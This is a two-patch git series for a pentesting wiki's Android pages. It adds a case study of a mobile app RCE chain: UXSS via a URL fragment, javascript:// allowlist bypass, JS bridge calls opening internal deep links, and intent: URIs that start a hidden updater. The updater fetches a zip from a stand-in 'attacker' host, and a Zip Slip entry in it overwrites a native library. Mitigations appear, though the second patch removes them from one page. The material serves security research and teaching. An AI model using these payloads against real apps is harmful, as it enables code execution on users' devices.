From 53ea35ff9c9377a23e08ef0189076749aa4a6fb8 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 20 Oct 2025 18:37:52 +0000 Subject: [PATCH 1/2] Add content from: Practical Android Pentesting: A Case Study on TikTok RCE --- .../insecure-in-app-update-rce.md | 52 ++++++++ .../intent-injection.md | 62 ++++++++-- .../android-app-pentesting/webview-attacks.md | 115 +++++++++++++++++- 3 files changed, 214 insertions(+), 15 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index 879f2637881..6a41ceeb891 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -223,6 +223,57 @@ Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()` - Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive. - React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification. +--- +## 6. Case study pattern: Mini‑app SDK update (version bump + MD5-from-URL + Zip Slip → native RCE) + +Some “mini‑app” SDKs ship a hidden test Activity in a split APK (e.g., `split_df_miniapp.apk`) that can be reached via an internal intent. That Activity accepts a data URI such as `tma://update?action=sdkUpdate&...` and drives a download/unzip pipeline. Typical vulnerable characteristics: + +- Forced update by version bump: + - Handler compares current vs requested version; setting `sdkUpdateVersion=9999` always triggers download. +- Filename-derived integrity check: + - Download path uses `getMd5FromUrl(latestSDKUrl)` which extracts the MD5 substring between the last `_` and the final `.`. The archive is trusted if its actual MD5 matches the derived value. Attackers simply name the file `anything_{md5}.zip` where `{md5}` is the real MD5. +- Context initialization required: + - The pipeline may require an initialized SDK context. From JS, prime it via a bridge call such as `preloadMiniApp` before launching the updater. +- Zip Slip during extraction: + - The unzip routine disables traversal mitigation (guard always false) and writes entries verbatim. A crafted entry like: + +```text +../../../../../../../../../data/data//app_lib///libjsc.so +``` + + overwrites a writable native library. On next restart the app loads the attacker library and executes arbitrary native code under the app UID. + +End-to-end delivery often chains WebView bugs (UXSS → JS bridge → internal deep link) with an `intent:` trampoline to reach the hidden updater Activity. See WebView and Intent pages for discovery and pivot techniques. + +PoC building blocks: + +- Initialize SDK from JS: +```js +window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ + "func":"preloadMiniApp","params":{"mini_app_url":"https://microapp/"} +})); +``` + +- Start hidden test Activity via `intent:` URI (example): +```js +location = "intent:#Intent;component=com.pkg/.TmaTestActivity;package=com.pkg;action=android.intent.action.VIEW;S.android.intent.extra.TEXT=tma://update?action=sdkUpdate&sdkUpdateVersion=9999&sdkVersion=1.0.0&latestSDKUrl=https://attacker/anything_{md5}.zip;end;"; +``` + +- Ensure the malicious ZIP is named `anything_{md5}.zip` and contains a traversal entry to the target `.so`. + +Hunting tips: +- Don’t stop at `base.apk`: enumerate and pull split APKs: +```bash +adb shell pm path +# pull all returned apks; look for miniapp/df_* splits +``` +- Grep for `sdkUpdate`, `latestSDKUrl`, `getMd5FromUrl`, `ZipInputStream` helpers, and Activities handling `Intent.parseUri`. + +Mitigations (developers): +- Remove test updaters from production or protect them with signature/permissions. +- Validate scheme/host/query; don’t trust filename‑derived hashes; verify a developer‑signed manifest or the whole archive. +- Enforce Zip Slip protections: canonicalise paths; reject `..` and absolute paths; extract to temp dir and move with strict checks. + --- ## 6. Post-Exploitation Ideas @@ -247,5 +298,6 @@ Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()` - [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) - [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) +- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/intent-injection.md b/src/mobile-pentesting/android-app-pentesting/intent-injection.md index 94e3d22878c..d0aa500704f 100644 --- a/src/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/src/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -185,19 +185,54 @@ Flags helpful for singleTask-style behavior adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task ``` -Real-world examples (impact varies): -- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack. -- CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects. -- CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction). -- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content. -- CVE-2021-4438 (React Native SMS User Consent). -- CVE-2020-14116 (Xiaomi Mi Browser). - -Mitigations (developer checklist) -- Do not forward incoming Intents directly; sanitize and re-construct allowed fields. -- Restrict exposure with `android:exported="false"` unless necessary. Protect exported components with permissions and signatures. -- Verify caller identity (`getCallingPackage()`/`getCallingActivity()`), and enforce explicit Intents for intra-app navigation. -- Validate both `action` and `data` (scheme/host/path) before use; avoid `Intent.parseUri` on untrusted input. +### WebViewClient intent: handler and gesture-gate bypass (case-study pattern) + +Many apps implement `shouldOverrideUrlLoading()` that treats `intent:` URIs specially: + +```java +Intent i = Intent.parseUri(url, Intent.URI_INTENT_SCHEME); +if (i.resolveActivity(ctx.getPackageManager()) != null) { + // Optional: recent-click gate + boolean ok = hasClickInTimeInterval(); + if (ok) ctx.startActivity(i); + return true; +} +``` + +If direct JS navigation (e.g., `location = 'intent:#Intent;component=...'`) is blocked by a recent-click gate, look for alternate gadgets: +- A different Activity’s WebViewClient with more permissive logic +- A deep link that toggles behavior via an extra like `disable_app_link=false` + +Example observed pattern (simplified): an internal deep link `aweme://wiki?url=` uses its own `WebViewClient` with: + +```java +boolean disable = getIntent().getBooleanExtra("disable_app_link", true); +if (url.startsWith("intent:")) { + if (disable) { /* "Can't open this app" */ return true; } + Intent v = Intent.parseUri(url, Intent.URI_INTENT_SCHEME); + startActivity(v); + return true; +} +``` + +This can be reached from Web content when a JS bridge exposes a generic opener: + +```js +window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ + "func":"openSchema", + "params":{ "schema":"aweme://wiki?url=https://allowed/&disable_app_link=false" }, + "JSSDK":"1","namespace":"host" +})); +``` + +From there, use `intent:` to launch protected Activities (`Intent.parseUri` + `startActivity`) even if they are not exported to external apps. + +Mitigations +- Remove or strictly gate `intent:` handling from WebView flows; require strong gestures and per-origin allowlists. +- Validate both scheme and host of any deep link driving a WebView; reject `javascript:`/`intent:` and unknown schemes. +- Do not expose generic schema openers to untrusted WebView content. + +Real-world chain example: see the UXSS → JS bridge → internal deep link → `intent:` trampoline → update pipeline abuse documented in the references below. --- @@ -219,5 +254,6 @@ Mitigations (developer checklist) - [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837) - [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438) - [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116) +- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index f7b4dd29a33..bdfb01d6047 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -383,6 +383,118 @@ xhr.open( xhr.send(null) ``` +--- + +## Advanced exploitation: UXSS to Intent/Deep-Link pivot to Native RCE + +This section summarises a real-world exploit chain observed in a popular app and generalises the techniques so you can hunt them in any target. + +### 1) Universal XSS via evaluateJavascript() string injection (use fragments) + +Bug pattern: + +```java +// Executed after page load by an interceptor/helper +webView.evaluateJavascript( + "JSON.stringify(window.performance.getEntriesByName('\"" + currentUrl + "\"'))", + callback +); +``` + +If the navigated URL is embedded inside a single-quoted JS string, inject via the URL fragment which many apps forget to re-encode: + +```text +https://allowed.host/path#',PAYLOAD,' +``` + +Example PoC: + +```text +https://m.tld/app#',alert(1),' +``` + +Tip: Hook evaluateJavascript with Frida to confirm arguments at runtime: + +```js +Java.perform(function(){ + var WV = Java.use('android.webkit.WebView'); + WV.evaluateJavascript.overload('java.lang.String','android.webkit.ValueCallback').implementation = function(a,b){ + console.log('[evaluateJavascript] '+a); + return this.evaluateJavascript(a,b); + } +}); +``` + +### 2) From JS to internal deep links via bridges + +If the app exposes a JavaScript bridge with a method like `openSchema`, JS can indirectly open **internal/non-exported** deep links: + +```js +window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ + "func":"openSchema", + "params":{ "schema":"aweme://wiki?url=https://m.tld/&disable_app_link=false" }, + "__msg_type":"callback","JSSDK":"1","namespace":"host" +})); +``` + +This lets Web content trigger privileged in-app navigation even when the underlying Activities are not exported to external apps. + +### 3) Host-allowlist bypass using javascript:// scheme + +If a validator only checks the URL host but not the scheme, you can keep the allowlisted host while switching to the `javascript:` scheme to get execution in the same WebView: + +```text +javascript://allowed.host/%0aalert(1) +``` + +The `%0a` (newline) terminates the host part and starts the JS payload in most WebView URL parsers. + +### 4) Intent-scheme trampoline inside WebViewClient + +Many WebViewClients implement `shouldOverrideUrlLoading()` that special-cases `intent:` URIs and calls `Intent.parseUri(..., Intent.URI_INTENT_SCHEME)` followed by `startActivity(...)`. Some implementations gate this behind a recent user-click check. Look for alternate code paths (another Activity’s WebViewClient, or a deep-link extra like `disable_app_link=false`) that relax the requirement, then redirect from JS with: + +```js +location = "intent:#Intent;component=com.pkg/.TargetActivity;package=com.pkg;action=android.intent.action.VIEW;end"; +``` + +### 5) Chain end goal: update pipelines and Zip Slip overwrite + +Once you land in an internal test/update Activity, look for parameters that trigger a download/unzip pipeline. Common bugs include: +- Accepting a higher `version` param to force update +- Deriving the expected hash from the filename/URL instead of a signature (e.g., `anything_{md5}.zip`) +- Unzipping with traversal checks disabled → Zip Slip arbitrary file overwrite inside app-internal storage (e.g., native libs under `/data/data//app_lib/.../lib*.so`) + +Minimal PoC building blocks: + +- JS bridge priming context (if required): + +```js +window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ + "func":"preloadMiniApp","params":{"mini_app_url":"https://microapp/"} +})); +``` + +- Force an internal Activity via intent URI: + +```js +location = "intent:#Intent;component=com.pkg/.TmaTestActivity;package=com.pkg;action=android.intent.action.VIEW;S.android.intent.extra.TEXT=tma://update?action=sdkUpdate&sdkUpdateVersion=9999&sdkVersion=1.0.0&latestSDKUrl=https://attacker/anything_{md5}.zip;end;"; +``` + +- Malicious ZIP contains traversal entry (example): + +```text +../../../../../../../../../data/data/com.pkg/app_lib/df_rn_kit/<...>/arm64-v8a/libjsc.so +``` + +Impact: on next app/mini-app restart the overwritten library is loaded, yielding native RCE under the app UID. + +### Mitigations (developer checklist for these bugs) +- Never concatenate untrusted URLs into JS passed to `evaluateJavascript()`; use safe templating/escaping. +- Validate the URL scheme as well as host/path; reject `javascript:`/`intent:` unless explicitly needed. +- JS bridges should not expose generic schema openers to untrusted origins; require strong user gestures and per-origin allowlists. +- For intent handling in WebViewClient, remove `intent:` support or gate it behind explicit user interaction and strict validation. +- For update pipelines, enforce signature verification on archives; reject filename-derived hashes; ensure Zip Slip defenses by canonicalising and validating entry paths before write. + ## References - [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) @@ -393,7 +505,6 @@ xhr.send(null) - [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) - [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) - [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So) +- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6) {{#include ../../banners/hacktricks-training.md}} - - From 1d56afde89fbdf7cae995ebb39a1c55682d8ac4e Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 25 Oct 2025 19:33:25 +0200 Subject: [PATCH 2/2] Update insecure-in-app-update-rce.md --- .../insecure-in-app-update-rce.md | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index 6a41ceeb891..11dd3bb882d 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -261,19 +261,6 @@ location = "intent:#Intent;component=com.pkg/.TmaTestActivity;package=com.pkg;ac - Ensure the malicious ZIP is named `anything_{md5}.zip` and contains a traversal entry to the target `.so`. -Hunting tips: -- Don’t stop at `base.apk`: enumerate and pull split APKs: -```bash -adb shell pm path -# pull all returned apks; look for miniapp/df_* splits -``` -- Grep for `sdkUpdate`, `latestSDKUrl`, `getMd5FromUrl`, `ZipInputStream` helpers, and Activities handling `Intent.parseUri`. - -Mitigations (developers): -- Remove test updaters from production or protect them with signature/permissions. -- Validate scheme/host/query; don’t trust filename‑derived hashes; verify a developer‑signed manifest or the whole archive. -- Enforce Zip Slip protections: canonicalise paths; reject `..` and absolute paths; extract to temp dir and move with strict checks. - --- ## 6. Post-Exploitation Ideas @@ -300,4 +287,4 @@ Mitigations (developers): - [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) - [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}}